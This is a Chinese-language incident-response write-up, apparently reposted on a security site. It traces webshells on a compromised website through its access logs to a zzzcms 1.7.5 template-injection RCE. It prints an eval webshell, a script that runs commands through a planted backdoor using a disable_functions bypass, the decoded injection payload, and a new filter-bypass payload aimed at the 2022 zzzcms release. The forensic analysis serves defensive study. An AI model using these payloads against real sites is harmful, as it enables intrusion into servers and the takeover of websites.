记一次从后门开展的应急响应溯源

脉搏文库潇湘信安

2022-04-11 3,866

声明：该公众号大部分文章来自作者日常学习笔记，也有少部分文章是经过原作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。

请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。

文章来源：先知社区（羊羊）

原文地址：https://xz.aliyun.com/t/11103

0x01 背景

一般安全厂商都会有针对web后门的扫描工具，此次拿到了一批网站被植入后门的攻击线索，由于疫情原因，现场排查取证条件比较苛刻，所以此次溯源是在开局一个后门情况下开展，大致思路是连接后门->查看日志->漏洞溯源。

0x02 后门排查

存在后门的URL :

http://www.xxxx.com/plugins/layer/mobile/need/wwConapp.php

进去之后想要通过antasword执行命令，发现ret=127，于是查看phpinfo，发现存在disable_functions

diable_functions : exec,passthru,popen,proc_open,shell_exec,system,assert

禁用了这些命令执行的先关函数，绕过应该还是好绕的，不过在同目录下已经发现了前人留下的bypass_disablefunc_x.so，省去了绕过时间，直接复用即可

到这儿基本已经相当于可以远程执行命令，达到现场排查、取证溯源的目的。

通过cat access.log来获取访问日志，这里通过撰写脚本只获取了2020年4月1日至2020年12月31日的日志，方便我们进行精准溯源。

#coding:utf-8import requests
for month in range(4,13):    for days in range(1,31):        date = '%02d' % month + '%02d' % days        url = 'http://www.xxxx.com/plugins/layer/mobile/need/back.php?cmd=cat%20/lnweb08/domain/3/8/5/38583/logs/access_log.2020' + date + '&outpath=/tmp/1&sopath=/lnweb08/domain/3/8/5/38583/www/plugins/layer/mobile/need/bypass_disablefunc_x.so'        res = requests.get(url=url)        fp = open(date+'.txt','w')        fp.write(res.content)        fp.close()

0x03 攻击者溯源

根据上图可以看到wwConapp.php的日期为2020-11-06 09：34：19,那么比较简单粗暴的方法就是直接在20201106的访问日志里查看谁访问了这个url，初步断定攻击者

比较诡异的是这个wwConapp.php没有人访问过，在具体翻看1106文件时发现了端倪

115.238.195.188 - - [06/Nov/2020:09:34:37 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 500 -
115.238.195.188 - - [06/Nov/2020:09:34:38 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 200 180
115.238.195.188 - - [06/Nov/2020:09:34:39 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 200 161

这里时间点对上了，大约在9点34分，有相同目录下的文件访问，但是该文件为Conapp.php，猜测是后来的入侵者将Conapp.php改为了wwConapp.php，这里不再深究。

至此已经获取到了第一个攻击者的ip，115.238.195.188，那么顺着这个人的访问日志，就能解开攻击入口，事实并不如此。

#cat 1106.txt| grep 115.238.195.188 | awk '{print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10}'
115.238.195.188 - - [06/Nov/2020:09:22:58 +0800] "POST /search/2.php HTTP/1.1" 200 161
115.238.195.188 - - [06/Nov/2020:09:22:59 +0800] "POST /search/2.php HTTP/1.1" 200 153
115.238.195.188 - - [06/Nov/2020:09:23:02 +0800] "POST /search/2.php HTTP/1.1" 200 8
115.238.195.188 - - [06/Nov/2020:09:23:04 +0800] "POST /search/2.php HTTP/1.1" 200 809
115.238.195.188 - - [06/Nov/2020:09:23:07 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:07 +0800] "GET /xiseceshi.html HTTP/1.1" 200 16
115.238.195.188 - - [06/Nov/2020:09:23:07 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "GET /xiseceshi.htm HTTP/1.1" 200 16
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "GET /xiseceshi.jsp HTTP/1.1" 200 16
115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "POST /search/2.php HTTP/1.1" 200 7

在查看该ip的访问记录时，其中并没有发现任何异常的攻击日志，从一开始访问就是/search/2.php开头，那么再到search目录下去翻阅，也发现已经没有了2.php，但是有1.php，落地时间为2020-11-26 12:53分

<?php @$content = @stripslashes(/**/@$_POST[1]);@eval('' ./**/ $content);

到这里其实就会发现，此刻碰到的后门，因为年限已久，可能在中途已经经过了几代的shell转手，导致日志十分复杂，既然有太多的攻击者和篡改文件行为，我们还是把目标聚焦在最初的/search/2.php文件，看看最初是如何落地的

#cat *| grep '/search/2.php'| awk '{print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10}'
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "HEAD /search/2.php HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "POST /search/2.php HTTP/1.1" 200 7
58.219.159.109 - - [29/Aug/2020:05:50:46 +0800] "HEAD /search/2.php HTTP/1.1" 200 -
58.219.159.109 - - [29/Aug/2020:05:50:46 +0800] "POST /search/2.php HTTP/1.1" 200 7
112.114.100.152 - - [01/Sep/2020:04:07:03 +0800] "POST /search/2.php HTTP/1.1" 200 129
112.114.100.152 - - [01/Sep/2020:04:07:03 +0800] "POST /search/2.php HTTP/1.1" 200 37

可以看到在2020年8月28号，就已有2.php文件落地，那么至此其实就可以告一段落，只需要对180.126.246.121这个ip的访问行为进行溯源即可

#cat *| grep '180.126.246.121'| awk '{print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10}'
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "HEAD / HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "GET /?author=1 HTTP/1.1" 200 16234
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "HEAD /search/?keys=%7Bif%3Aarray%5Fmap%28base%5Fconvert%2831298929054286%2C10%2C32%29%2Carray%28%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29.roulcf.%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29%29%29%7D%7Bendif%7D HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "HEAD /search/?keys=%7Bif%3Aarray%5Fmap%28base%5Fconvert%2831298929054286%2C10%2C32%29%2Carray%28%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29.yizogi.%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29%29%29%7D%7Bendif%7D HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "POST /search/ HTTP/1.1" 200 10390
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "HEAD /search/2.php HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "POST /search/2.php HTTP/1.1" 200 7

‍

这里可以看到明显的异常流量，那么经过urldecode解密，其中一段攻击向量跟模板注入十分相似

/search/?keys={if:array_map(base_convert(31298929054286,10,32),array((base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36)).yizogi.(base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36))))}{endif}

如果熟悉先前的海洋cms 前台rce漏洞，大概就能了解这个漏洞是因为模板变量被代入解析，最终进入了eval语句

echo base_convert(31298929054286,10,32);
echo base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36);
echo 'yizogi';
echo base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36);
//setcookie"yizogi"

这段代码应该还是探测性的语句，如果存在模板注入漏洞，那么在返回的cookie里会有yizogi等字样，为后续的漏洞利用埋下伏笔。

通过百度，最终找到了这是zzzcms 1.7.5 的前台rce漏洞，具体漏洞测试细节可以再《waf绕过拍了拍你》这篇文章里看到。

到这里基本可以完结，180.126.246.121就是最先的入侵者，于2020年8月28日获得shell后即将shell卖给其他人，为下游犯罪提供帮助。

0x04 后记

后来在测试该网站时发现zzzcms版本已更新到2022版本，原先的漏洞也已不复存在，甚至过滤了大部分命令执行的关键词，在测试过程中发现有一个回调函数还是可以绕过，甚至依托字符串截取的特性，可以绕过大部分对字符串进行过滤的情景。

array_intersect_uassoc(array_intersect_uassoc(array('var_dump(123);'=>''),array(''),'ass'.'ert'));

后门线索比较多，后续有考虑写一个基于图谱的响应溯源追踪系统，大致理念就是将所有日志打进图数据库里，通过图查询语句和检测规则（正则/ai）来搜寻访问后门的所有可疑ip和攻击行为，最终像人工一样思考，形成攻击路径图，方便人工进行判断。

上述如有不当之处，敬请指正。

本文作者：潇湘信安

本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/176748.html

Tags: 后门排查、应急响应、应急响应溯源、溯源、漏洞溯源

点赞： 1 评论：0 收藏： 0

快来写下你的想法吧！

	潇湘信安
	文章数：57	积分： 15
	关注微信公众号【潇湘信安】，一起学习网络安全知识！

安全问答社区

脉搏官方公众号

活动日程

2022-06-17

Gdevops 全球敏捷运维峰会

2022-05-12

Mastering the Challenge！——来自The 3rd AutoCS 2022智能汽车信息安全大会的邀请函

2021-11-18

AutoSW 2021智能汽车软件开发大会

2021-06-27

2021中国国际网络安全博览会暨高峰论坛

2021-05-27

The 2nd AutoCS 2021智能汽车信息安全大会

2020-12-18

贝壳找房2020 ICS安全技术峰会

2020-12-11

全球敏捷运维峰会（Gdevops2020）

2020-12-04

2020京麒网络安全大会

2020-11-29

OPPO技术开放日第六期|聚焦应用与数据安全防护

2020-11-27

EISS-2020企业信息安全峰会之上海站 11.27

2020-09-24

CSDI summit中国软件研发管理行业技术峰会

2020-09-23

2020中国国际智慧能源暨能源数据中心与网络信息安全装备展览会

2020-07-31

EISS-2020企业信息安全峰会之北京站 | 7.31（周五线上）

2020-04-15

看雪.安恒 2020 KCTF 春季赛

2020-01-09

相约本地生活安全沙龙暨白帽子颁奖典礼

记一次从后门开展的应急响应溯源

相关文章

安全问答社区

脉搏官方公众号

活动日程

2022-06-17

2022-05-12

2021-11-18

2021-06-27

2021-05-27

2020-12-18

2020-12-11

2020-12-04

2020-11-29

2020-11-27

2020-09-24

2020-09-23

2020-07-31

2020-04-15

2020-01-09

安全问答社区

脉搏官方公众号

友情链接

关注我们

SecPluse

合作伙伴

品牌归属

关于我们

脉搏文库

安全建设

其他

记一次从后门开展的应急响应溯源

相关文章

安全问答社区

脉搏官方公众号

活动日程

2022-06-17

2022-05-12

2021-11-18

2021-06-27

2021-05-27

2020-12-18

2020-12-11

2020-12-04

2020-11-29

2020-11-27

2020-09-24

2020-09-23

2020-07-31

2020-04-15

2020-01-09

安全问答社区

脉搏官方公众号

友情链接

关注我们

SecPluse

合作伙伴

品牌归属

关于我们